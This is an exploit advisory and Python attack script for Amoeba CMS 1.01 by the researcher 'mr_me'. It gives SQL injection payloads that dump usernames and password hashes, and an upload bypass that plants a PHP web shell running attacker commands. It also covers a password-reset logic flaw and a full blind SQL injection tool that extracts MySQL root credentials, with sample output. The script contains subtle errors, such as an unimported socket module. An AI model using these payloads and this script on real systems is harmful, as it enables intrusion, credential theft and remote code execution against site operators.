amoeba CMS 1.01 – Multiple Vulnerabilities
#!/usr/bin/python """ Amoeba CMS v1.01 multiple remote vulnerabilities: Vendor: http://www.amoebacms.com/ Found by: mr_me Contact date: 20/12/2010 2:37pm EST SQL Injection: ============= There is quite a few instances of pre/post auth SQL Injection in the web application. In one particular SQLi the attacker controlled input is being used for multiple queries, and as such seems to fail on the second query when using the _ character. This character is used as a wildcard in the second query as per the MySql manual. Therefore stealing data from the 'amb_users' table may prove difficult. Additionaly, order by SQL Injection is present, which doubles the fun :0) Pre-auth SQL Injection PoC (refer below to an automated working PoC): --------------------------------------------------------------------- http://[target]/[path]/index.php?mod=cat&com=news&cpID=1+or+1=1 << true http://[target]/[path]/index.php?mod=cat&com=news&cpID=1+or+1=2 << false Post-auth SQL Injection PoCs: ----------------------------- These will require the attacker to obtain access to the backend somehow. Only one cookie is needed to reach this backend (ambid). PoC 1: ------ POST /[PATH]/admin/index.php?mod=group&com=menu HTTP/1.1 Host: [target] User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cookie: ambid=5i5nrbl5d09f3ktqkh7sfe1s94 Content-Type: application/x-www-form-urlencoded Content-Length: 39 pageingsize=1+uNiOn+sEleCt+1,coNcAt(user_name,0x3a,users_password),3+from+amb_users-- PoC 2: ------ http://[target]/[path]/admin/index.php?mod=cat&com=gallery&cpID=1+or+1=1 << true http://[target]/[path]/admin/index.php?mod=cat&com=gallery&cpID=1+or+1=2 << false Shell Upload Vulnerability: ========================== Interestingly enough, this application uses a whitelist extension approach which is stored in the database (amb_media_type)! Unfortunately/fortunately they still allow a '.whateva' extension in the filename, as long as it doesnt end in an extension that is not on the whitelist. As a fatality the attacker can upload content with 'malicious' code inside and 'get a shell' by using an Apache AddType directive. Once the request is made, the application will re-write the file to the original/ dir using the php time() added into its name. See below: PoC: ---- POST /webapps/amoeba2/admin/index.php?mod=manip&com=media&mediaType=IMAGE&name=lol.php.jpg HTTP/1.1 Host: [target] User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cookie: ambid=5pk8u31pobv3qr0tci03o7tog5 Content-Type: application/octet-stream Content-Length: 31 <?PHP system($_GET['cmd']); ?> Server Response: ---------------- {"jsonrpc" : "2.0", "result" : null, "chunk" : "0", "chunks" : "0", "name" : "lol.php-1293423431.jpg", "id" : "id"} Then we can access our shell at: http://[target]/[path]/media/original/lol.php-1293423431.jpg?cmd=id Logic Flaws: =========== Password disclosure & password reset: -------------------- Password hash disclosure in the admin console. Just change uID to whateva your current uID once you have stolen the admin cookie. Additionaly you can reset the admins password, without actually knowing the password. o_O Suprise surpise, its the same link: PoC: --- http://[target]/[path]/admin/index.php?mod=list&com=user&uID=2&action=edit """ # Amoeba CMS v1.0.1 Remote Blind SQL Injection Exploit # -----------------------------------------------> # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # -----------------------------------------------> # 8 queries per char, much much cleaner. # # [mr_me@pluto amoeba]$ python amoeba0day.py -p 127.0.0.1:8080 -s 'whateva' -t 192.168.1.15 -d /webapps/amoeba2/ # # | --------------------------------------------- | # | Amoeba CMS Remote Blind SQL Injection Exploit | # | by mr_me - net-ninja.net -------------------- | # # (+) Exploiting target @: http://192.168.1.15/webapps/amoeba2/ # (+) Testing Proxy @ 127.0.0.1:8080.. # (+) Proxy is working! # (+) Using string 'whateva' for the true page # (+) This will take time, go grab a coffee.. # # (!) Getting database version: 5.1.41-3ubuntu12.8 # (!) Getting database user: root@localhost # (!) Getting database name: amoeba2 # (!) w00t! You have access to MySQL database! # (+) Dumping hashs hold onto your knickers.. # (+) The username and hashed password is: root:*EE4E2773D7530819563F0DC6FCE27446A51C9413 # (+) PoC finished. import sys, urllib, re from optparse import OptionParser # all possible decimal values of printable ascii characters # 8 requests per char, much much cleaner. lower_value = 0 upper_value = 126 vuluri = "index.php?mod=cat&com=news&cpID=1" basicInfo = {'version':'version()', 'user':'user()', 'name':'database()'} usage = "./%prog [<options>] -s [true string] -t [target] -d [directory]" usage += "\nExample: ./%prog -p localhost:8080 -s 'Author:' -t 192.168.2.15 -d /amoeba/" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The Target server <server:port>") parser.add_option("-d", type="string", action="store", dest="directory", help="Directory path to the CMS") parser.add_option("-s", type="string", action="store", dest="trueStr", help="String that is on the 'true' page (used with the -b option)") (options, args) = parser.parse_args() def banner(): print "\n\t| --------------------------------------------- |" print "\t| Amoeba CMS Remote Blind SQL Injection Exploit |" print "\t| by mr_me - net-ninja.net -------------------- |\n" if len(sys.argv) < 5: banner() parser.print_help() sys.exit(1) def setTargetHTTP(): if options.target[0:7] != 'http://': options.target = "http://" + options.target return options.target def getProxy(): try: proxy = {'http': "http://"+options.proxy} opener = urllib.FancyURLopener(proxy) except(socket.timeout): print "\n(-) Proxy Timed Out" sys.exit(1) except(),msg: print "\n(-) Proxy Failed" sys.exit(1) return opener def getServerResponse(exploit): if options.proxy: try: options.target = setTargetHTTP() opener = getProxy() check = opener.open(options.target+options.directory+exploit).read() except urllib.error.HTTPError, error: check = error.read() except socket.error: print "(-) Proxy connection failed" sys.exit(1) else: try: check = urllib.urlopen(options.target+options.directory+exploit).read() except urllib.error.HTTPError, error: check = error.read() except urllib.error.URLError: print "(-) Target connection failed, check your address" sys.exit(1) return check # modified version of rsauron's function # thanks bro. def getAsciiValue(URI): lower = lower_value upper = upper_value while lower < upper: try: mid = (lower + upper) / 2 head_URI = URI + ">"+str(mid) result = getServerResponse(head_URI) match = re.findall(options.trueStr,result) if len(match) >= 1: lower = mid + 1 else: upper = mid except (KeyboardInterrupt, SystemExit): raise except: pass if lower > lower_value and lower < upper_value: value = lower else: head_URI = URI + "="+str(lower) result = getServerResponse(head_URI) match = re.findall(options.trueStr,result) if len(match) >= 1: value = lower else: print "(-) READ xprog's blind sql tutorial!\n" sys.exit(1) return value def doBlindSqlInjection(): print "(+) Using string '%s' for the true page" % (options.trueStr) print "(+) This will take time, go grab a coffee.." for key in basicInfo: sys.stdout.write("\n(!) Getting database %s: " % (key)) sys.stdout.flush() # it will never go through all 100 iterations for i in range(1,100): request = (vuluri+"+or+ascii(substring(%s,%s,1))" % (basicInfo[key],str(i))) asciival = getAsciiValue(request) if asciival != 0: sys.stdout.write("%s" % (chr(asciival))) sys.stdout.flush() else: break isMysqlUser = (vuluri+"+or+(select 1 from mysql.user limit 0,1)=1") result = getServerResponse(isMysqlUser) match = re.findall(options.trueStr,result) if len(match) >= 1: print "\n(!) w00t! You have access to MySQL database!" print "(+) Dumping hashs hold onto your knickers.." sys.stdout.write("(+) The username and hashed password is: ") sys.stdout.flush() for k in range(1,100): getMysqlUserAndPass = (vuluri+"+or+ascii(substring((SELECT+concat(user,0x3a,password)+from+" "mysql.user+limit+0,1),%s,1))" % str(k)) asciival = getAsciiValue(getMysqlUserAndPass) if asciival != 0: sys.stdout.write("%s" % (chr(asciival))) sys.stdout.flush() else: break else: print "\n(-) You do not have access to MySQL database" if __name__ == "__main__": banner() options.target = setTargetHTTP() print "(+) Exploiting target @: %s" % (options.target+options.directory) if options.proxy: print "(+) Testing Proxy @ %s.." % (options.proxy) opener = getProxy() try: check = opener.open("http://www.google.com").read() except: check = 0 pass if check >= 1: print "(+) Proxy is working!" else: print "(-) Proxy failed, exiting.." sys.exit(1) doBlindSqlInjection() print "\n(+) PoC finished." |